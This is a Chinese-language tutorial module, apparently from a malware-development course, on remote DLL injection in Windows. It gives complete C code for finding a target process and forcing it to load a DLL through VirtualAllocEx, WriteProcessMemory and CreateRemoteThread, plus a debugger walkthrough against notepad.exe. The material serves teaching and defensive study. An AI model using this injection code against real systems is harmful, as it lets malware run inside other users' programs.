28-进程注入-DLL 注入
导言
本模块将演示一种与之前本地 DLL 注入方法类似的方法,只不过现在它将在远程进程中执行。
枚举进程
在将 DLL 注入进程之前,必须先选择一个目标进程。因此,远程进程注入的第一步通常是枚举计算机上正在运行的进程,了解可以注入的潜在目标进程。需要进程 ID(PID)来打开目标进程的句柄,并允许对目标进程执行必要的工作。
本模块创建了一个执行进程枚举的函数来确定所有正在运行的进程。函数 GetRemoteProcessHandle
将用于执行系统上所有正在运行进程的枚举,打开目标进程的句柄,并返回进程的 PID 和句柄。
CreateToolhelp32Snapshot
代码片段首先使用 CreateToolhelp32Snapshot 函数,并为其第一个参数指定 TH32CS_SNAPPROCESS
标记,该标记会对系统在函数执行时正在运行的所有进程进行快照。
// 对当前运行的进程进行快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32(进程条目32)结构
获取进程快照后,使用 Process32First 来获取快照中第一个进程的信息。对于快照中的所有剩余进程,使用 Process32Next。
Microsoft 的文档指出,Process32First
和 Process32Next
都需要一个作为其第二个参数传入的 PROCESSENTRY32 结构。在结构传入后,函数会使用进程信息填充结构。PROCESSENTRY32
结构如下所示,旁边是这些函数填充的结构的有用成员的注释。
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // 进程 ID
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID; // 父进程的进程 ID
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // 进程的可执行文件的名称
} PROCESSENTRY32;
在 Process32First
或 Process32Next
填充结构后,可以通过使用点运算符从结构中提取数据。例如,要提取 PID,请使用 PROCESSENTRY32.th32ProcessID
。
Process32First 和 Process32Next 函数
如前所述,Process32First
函数用于获取快照中第一个进程的信息,而 Process32Next
函数用于获取快照中所有其他进程的信息(使用 do-while 循环)。将所搜索的进程名称 szProcessName
与当前循环迭代中的进程名称进行比较,该进程名称从填充后的结构 Proc.szExeFile
中提取。如果匹配,则进程 ID 保存下来,并为该进程打开一个句柄。
// 检索快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First 失败,错误代码: %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 使用点运算符从填充的结构中提取进程名称
// 如果进程名称与要查找的进程名称匹配
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// 使用点运算符从填充的结构中提取进程 ID
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 为进程打开一个句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess 失败,错误代码: %d \n", GetLastError());
break; // 退出循环
}
// 检索快照中记录的下一个进程的信息。
// 只要快照中还存在进程,就继续循环
} while (Process32Next(hSnapShot, &Proc));
进程枚举 - 代码
BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {
// 根据文档:
// 在调用 Process32First 函数之前,将该成员设置为 sizeof(PROCESSENTRY32)。
// 如果未初始化 dwSize,则 Process32First 将失败。
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// 获取当前正在运行的进程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot 失败,错误代码为:%d \n", GetLastError());
goto _EndOfFunction;
}
// 获取快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First 失败,错误代码为:%d \n", GetLastError());
goto _EndOfFunction;
}
do {
// 使用点运算符从填充的结构体中提取进程名
// 如果进程名与我们正在寻找的进程匹配
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// 使用点运算符从填充的结构体中提取进程 ID
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 打开一个进程句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess 失败,错误代码为:%d \n", GetLastError());
break; // 退出循环
}
// 获取快照中记录的下一个进程的信息。
// 当快照中仍有进程时,继续循环
} while (Process32Next(hSnapShot, &Proc));
// 清理工作
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
Microsoft 的示例
另一个进程枚举示例可在此处查看 here。
对大小写敏感的进程名
上面的代码段包含一个被忽略的缺陷,这会导致结果不准确。wcscmp
函数用于比较进程名,但它没有考虑大小写,意味着 Process1.exe
和 process1.exe
将被视为两个不同的进程。
下面的代码段通过将 Proc.szExeFile
成员中的值转换为小写字符串,然后将其与 szProcessName
进行比较来解决此问题。因此,szProcessName
必须始终作为小写字符串传递。
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// 根据文档:
// 在调用 Process32First 函数之前,将此成员设置为 sizeof(PROCESSENTRY32)。
// 如果未初始化 dwSize,Process32First 将失败。
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// 获取当前正在运行的进程的快照
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// 检索快照中遇到的第一个进程的信息。
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// 将 Proc.szExeFile 中的每个字符转换成小写并将其保存在 LowerName 中
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// 如果进程的(小写)名称与我们正在寻找的进程匹配
if (wcscmp(LowerName, szProcessName) == 0) {
// 保存 PID
*dwProcessId = Proc.th32ProcessID;
// 为进程打开一个句柄
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// 检索快照中记录的下一个进程的信息。
// 如果快照中仍有进程,则继续循环
} while (Process32Next(hSnapShot, &Proc));
// 清理
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
DLL 注入
现在我们已经成功获取到目标进程的句柄。下一步是将 DLL 注入到目标进程中,这需要使用一些之前使用过的 Windows API 以及一些新的 API。
VirtualAllocEx:与
VirtualAlloc
类似,但它允许在远程进程中分配内存。WriteProcessMemory:向远程进程写入数据。在本例中,它将用于将 DLL 的路径写入目标进程。
CreateRemoteThread:在远程进程中创建线程
代码演练
本节将逐步讲解 DLL 注入代码(如下所示)。函数 InjectDllToRemoteProcess
接受两个参数:
进程句柄 - 这是将 DLL 注入其中的目标进程的 HANDEL。
DLL 名称 - 将要注入到目标进程中的 DLL 的完整路径。
查找 LoadLibraryW 地址
LoadLibraryW
用于加载一个调用它的进程内部的 DLL。由于目标是加载远程进程内部而非本地进程内部的 DLL,所以不能直接调用它。相反,必须检索 LoadLibraryW
的地址并将其作为参数传递给进程中远程创建的线程,同时将 DLL 名称作为其参数。这起作用是因为 LoadLibraryW
WinAPI 的地址在远程进程中和在本地进程中相同。为了确定 WinAPI 的地址,需要使用 GetProcAddress
和 GetModuleHandle
。
// LoadLibrary 由 kernel32.dll 导出
// 因此,获取 kernel32.dll 的句柄,然后获取 LoadLibraryW 的地址
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
存储在 pLoadLibraryW
中的地址将在远程进程中创建新线程时用作线程入口。
内存分配
下一步是在远程进程中分配一个内存,以容纳 DLL 的名称 DllName
。VirtualAllocEx
函数用于在远程进程中分配内存。
// 在远程进程 hProcess 内分配大小为 dwSizeToWrite(即 DLL 名称大小)的内存。
// 内存保护为读写
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
向已分配的内存写入数据
在远程进程中成功分配内存后,可以使用 WriteProcessMemory
函数向已分配的缓冲区写入数据。DLL 的名称将被写入到之前分配的内存缓冲区中。
根据文档,WriteProcessMemory
WinAPI 函数如下所示:
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // 一个句柄,指向待写入的进程的内存
[in] LPVOID lpBaseAddress, // 指定进程中数据的基地址,数据将被写入到该地址
[in] LPCVOID lpBuffer, // 一个指针,指向包含要写入到 'lpBaseAddress' 中的数据的缓冲区
[in] SIZE_T nSize, // 要写入到指定进程中的字节数
[out] SIZE_T *lpNumberOfBytesWritten // 一个指向 'SIZE_T' 变量的指针,接收实际写入的字节数
);
基于上面所示的 WriteProcessMemory
的参数,它将被调用如下,将缓冲区 (DllName
) 写入之前调用的 VirtualAllocEx
函数返回的已分配地址 (pAddress
) 中。
// 要写入的数据是 DLL 名称 'DllName',大小为 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)
通过新线程执行
在成功地将 DLL 的路径写入到分配的缓冲区后,将会使用 CreateRemoteThread
来在远程进程中创建一个新线程。这就是 LoadLibraryW
地址变得必要的地方。将 pLoadLibraryW
作为线程的起始地址传递,然后将包含 DLL 名称的 pAddress
作为参数传递给 LoadLibraryW
调用。这是通过将 pAddress
作为 CreateRemoteThread
的 lpParameter
参数来完成的。
CreateRemoteThread
的参数与前面解释的 CreateThread
WinAPI 函数的参数相同,除了额外的 HANDLE hProcess
参数,它表示要创建线程的进程的句柄。
// 线程入口将是 'pLoadLibraryW',它是 LoadLibraryW 的地址
// DLL 的名称 pAddress 作为参数传递给 LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
DLL 注入 - 代码片段
BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
// 获取 DllName 的大小,按字节计算
DWORD dwSizeToWrite = lstrlenW(DllName) * sizeof(WCHAR);
SIZE_T lpNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress 失败,错误代码:%d \n", GetLastError());
bSTATE = FALSE;
goto _EndOfFunction;
}
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx 失败,错误代码:%d \n", GetLastError());
bSTATE = FALSE;
goto _EndOfFunction;
}
printf("[i] pAddress 分配在:0x%p,大小:%d\n", pAddress, dwSizeToWrite);
printf("[#] 按 <Enter> 键写入 ... ");
getchar();
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten) || lpNumberOfBytesWritten != dwSizeToWrite) {
printf("[!] WriteProcessMemory 失败,错误代码:%d \n", GetLastError());
bSTATE = FALSE;
goto _EndOfFunction;
}
printf("[i] 已成功写入 %d 字节\n", lpNumberOfBytesWritten);
printf("[#] 按 <Enter> 键运行 ... ");
getchar();
printf("[i] 正在执行有效载荷 ... ");
hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread 失败,错误代码:%d \n", GetLastError());
bSTATE = FALSE;
goto _EndOfFunction;
}
printf("[+] 完成!\n");
_EndOfFunction:
if (hThread)
CloseHandle(hThread);
return bSTATE;
}
调试
在本部分中,使用 xdbg 调试器调试了实现,以进一步了解引擎盖之下的情况。
首先,运行 RemoteDllInjection.exe
并传递两个参数,即目标进程和要注入到目标进程中的完整 DLL 路径。在此演示中,正在注入 notepad.exe
。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-1.png)
进程枚举成功。使用进程黑客验证记事本的 PID 确实是 20932
。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-2.png)
接下来,将 xdbg 附加到目标进程记事本,并检查分配的地址。下图显示缓冲区已成功分配。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-3.png)
在分配内存后,将 DLL 名称写入缓冲区。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-4.png)
最后,在执行 DLL 的远程进程中创建了一个新线程。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-5.png)
使用进程黑客的模块选项卡验证 DLL 是否已成功注入。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-6.png)
转到进程黑客中的线程选项卡,并注意正在以 LoadLibraryW 为其入口函数运行的线程。
![图片](https://maldevacademy.s3.amazonaws.com/images/Basic/remote-dll-injection-7.png)